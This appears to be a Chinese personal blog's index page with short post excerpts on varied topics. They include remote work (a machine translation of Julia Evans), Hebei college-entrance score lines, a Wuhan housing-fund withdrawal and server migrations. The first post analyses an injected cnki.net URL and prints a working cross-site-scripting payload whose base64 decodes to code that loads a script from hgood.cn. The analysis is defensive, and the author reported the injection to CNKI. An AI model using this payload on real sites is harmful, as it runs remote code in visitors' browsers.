偶尔一报

知网被植入H5

今天在微信群出现一个关于华为的H5,借着热门话题赚流量,点了一下发现果然有问题,最后弹出来的是不太好的网页。 简单分析了一下网址: http://medmap.cnki.net/refbook/AddComment.aspx?type=0&isadd=0&bid=%22%2C%29%3B%7DsetTimeout%28atob%28%27ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vaGdvb2QuY24vZCc7%27%29%2C0%29%3Bfunction%20postc%28%29%20%7B%2F%2F%26name%3D 竟然是知网的域名,按说知网不至于干这个,多半是被植入了。再看里面有一个function,基本上可以判断是url参数被js调用时没有检验,被挂了js代码进去。把URL做一个DECODE,结果如下: http://medmap.cnki.net/refbook/AddComment.aspx?type=0&isadd=0&bid=”,);}setTimeout(atob(‘ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vaGdvb2QuY24vZCc7’),0);function postc() {//&name= 这就看到了setTimeout定时器,里面的atob是base64解码,解码结果如下: document.body.innerHTML = ”;document.head.appendChild(document.createElement(‘script’)).src=’//hgood.cn/d’; 好了,hgood.cn,这就是目标。干坏事的是它,栽赃到知网。 把这个结果告诉知网以后,发现,植入内容也变了。

服务器从godaddy迁到了阿里云美西

目前响应速度还不错,1vCPU+1G内存。

远程工作,4年

原文:Working remotely, 4 years in 作者:Julia Evans 翻译:谷歌翻译 我住在蒙特利尔。4年前,我决定为位于旧金山的一家公司开展一项远程工作。当时,我担心它不会奏效 – 我以前从未远程工作过,所以对我来说这是一个很大的未知数。在3个月和8个月后,你可以看到我在这个博客上挣扎着。但是 Avi(采访我的人之一,远程工作的人)相信我这是一个合理的尝试,而且我可以看到它为他工作,我真的很喜欢所有采访我的人,所以我决定给它一个镜头。 它解决了。从各方面来看,它显然并不总是100%完美,但远程工作对我来说是一个伟大的职业生涯。我从同事身上学到了很多东西,并且能够做一些我为之骄傲的非常酷的项目。所以这里有一些关于我认为对我有用的想法。 像往常一样,这不是建议,我不是说你应该远程工作。我只在一家公司(Stripe)完成了远程工作,而且我只有一个人(甚至在Stripe中的其他遥控器也会有不同的经历)。 关于远程工作有什么可怕的? 当我开始写这篇文章时,我发推文: 现在已经工作了近4年,并正在考虑写一篇关于它的文章。说什么会有用? 我得到了一个非常热烈的回应 – 超过一百人回答了有问题的推文!在这篇文章中,我将尝试回答一些这些问题。 我敢打赌,人们如此好奇的原因在于,远程工作是一个巨大的可怕的飞跃,也是很多人对潜在的兴趣所在。我认为我得到的问题大致可以分解为3种关于远程工作的担忧: 个人心理健康/生产力问题:我会感到孤独吗?在家工作时我会过于分心吗?我能保持良好的工作/生活平衡吗?旅行会影响我的个人生活吗? 做好自己工作的基本能力:我会错过办公室里的对话吗?沟通将如何工作?人们会忘记我的存在吗? 职业发展:我能为真正重要的项目承担责任吗?我能升职吗?我可以成为领导者吗? 我将以相反的顺序来谈论这些 – 我最不想说的是“我会不会孤独”,因为虽然我认为这是一个非常重要的问题,有时候这对我来说是一场斗争,但从人到很多人和我不知道该怎么说,除了“离开你的房子通常是一个好主意”:) 远程工作有什么好处? 在我们进入远程工作的挣扎之前,让我们谈谈一些好处! 两个主要的好处是显而易见的 – 我能够生活在我想要的地方(蒙特利尔),并拥有我想要的工作。旧金山的科技公司一般比蒙特利尔的高科技公司付出更多,因此在SF以外居住的时候为SF科技公司工作非常棒。 其他一些好处: 我对我的工作环境有很多控制权。关闭Slack并关注它是相对容易的。 我基本上不必设置4年的警报。 整个公司都有一个很好的遥控器社区。我已经认识了很多美好的人。 我可以从另一个城市/国家工作,如果我想(像我去柏林6周在2016年,它是不是破坏性的,尤其是因为我的队友2当时生活在欧洲)。 我生活在一个略微偏移时区(提前很多人与我共事的3个小时),这样我就可以轻松完成工作之前,任何人都开始工作。 我们来谈谈职业发展 这是来自Twitter的问题! 我认为阅读关于职业发展的经验(促销,指导)会很棒。我听到很多远程开发者的说法,他们大都接受这是不可能的。而且我也很想知道你的指导经验。 在远程工作时,我不止一次晋升,指导实习生,领导大型项目,做出重大组织变革(我去年重新编写了工程阶梯),为新开发人员讲授入门课程,并从很多方面学到了很多东西梦幻般的人。我不是经理,但我现在的经理很偏僻,我认为他的工作很出色。 我认为这对我有效的主要原因是我在一个有很多遥控器和非常好的遥控器支持的组织工作。其他一些帮助我的东西: 沟通很多。(写很多电子邮件!有很多1:1的对话!也许过度交流!​​) 在各个团队中保持良好的人际网络 有很棒的远程角色模型能够激励我,并告诉我,我也可以在远程工作的同时获得成功 有很多人投入了大量的资金来帮助我取得成功❤(当我可以的时候我试着付款) 你如何远程向同事学习? 我在一个拥有大量真正优秀人才的公司工作。我担心因为我远程工作而无法向他们学习。我不认为这是真的(我学到了很多!)。 然而!在远程工作时,我认为你必须更有意识地与你的同事建立关系。如果我没有明确地决定与某人交谈,那么我很可能从不会与他们交谈。(就像我没有机会在办公室偶然遇到他们)。 以下是我从更有经验的人那里学到的3种不同方式。 方式1:每周与人见面1:1。 一种非常有价值的模式是 – 每个星期/年与1个人(在我的团队中)每周1:1会面,并从他们那里获得关于我目前正在工作的任何建议。在这种关系中,对我来说重要的一点是,这个人会不断投入工作/从事我的工作 –

2014年至2017年河北省高考录取分数线一本线对比

先上图,图中搜集了2014年至2017年河北省高考一分一段统计的数据和录取分数线一本线。 在作出这个图之前,一直觉得无法理解一些很一般的高校录取分都要高出一本线一百多分,作出来之后,才发现,真实的情况是,分数线在某些年份是故意降低的,或者说是一本扩招。那么是哪些学校扩招呢?并不是好的学校,而是原来并不是一本的学校纳入到一本招生,也就是原来二本的一批学校。 按这样的结论,我的某位亲戚今年的高考分数(三角标)也就只相当于比正常年份的分数线高了十几分而不是几十分。所以,在选择学校的时候就去选择那些传统上的刚刚超过一本线的学校。 而事实上,各个高招咨询网站也将全省名次作为报考志愿的主要参照,但可惜的是各高校各专业的提档分没有相应的折算成省名次,降低了可对比性。 2007年刚参加工作那会儿,在一个承办阳光高考网站的公司做了一段时间,就设想高招应该出现一个新的模式,让交易(志愿与录取)更快捷。这中间只看到了平行志愿的引入,但在报完志愿之后,考生依然是没有任何参与感的,选的专业也不尽是兴趣所在,随机性相当大。

到底谁是黎元洪?

我也分不清了,还是维基百科吧,希望靠谱:http://zh.wikipedia.org/wiki/%E9%BB%8E%E5%85%83%E6%B4%AA

快递车的涂鸦艺术

三轮车加封闭车厢成了快递公司的标配,除了糊满黄色包装胶带的形象,发挥一下自己的创造力也是个不错的载体。

武汉市外地户口离职公积金提取亲历记

这里只介绍外地户口离职着一种情况,其他请参照武汉公积金网站的程序说明自行摸索,但以下关于证件资料方面或许有一些参考意义。 1. 离职时间超过两年,本人是2011年9月份离职,电话咨询时说是离职就可以提(他们官网也这么说),但11月到柜台办理时说是要求满两年; 2. 外地户口,本人是河北户口;

李公明:夏健强作品真实而正常

特约记者 褚丁 发自广州 一个13岁儿童以想念爸爸为题材的画作引发争论。艺术创作如何才算构成抄袭?儿童美术教育中对孩子原创性的要求是什么?在艺术创作领域是否存在“天才”?对艺术作品以及艺术家批评的尺度又在哪里?带着一系列问题,时代周报采访了广州美术学院李公明教授。 时代周报:你认为夏健强的画作是真实的还是有代笔的嫌疑?

网站迁移日志:上海张江机房->godaddy

迁移原因:该机房某主机有敏感内容,引来公安检查,于是该机房开始实施白名单制度。

青年营勇取肖张炮楼,小史屯惨案五百姓罹难

  昨天是爷爷八十八岁生日,晚上吃饭时我问起当年八路是怎么打日本鬼子的,爷爷回忆说村南场院里曾有一青年营集结,营长姓丁,向他的兵们喊话,说咱们一天吃十二两小米不能白吃,要打鬼子,于是开拔直奔肖张炮。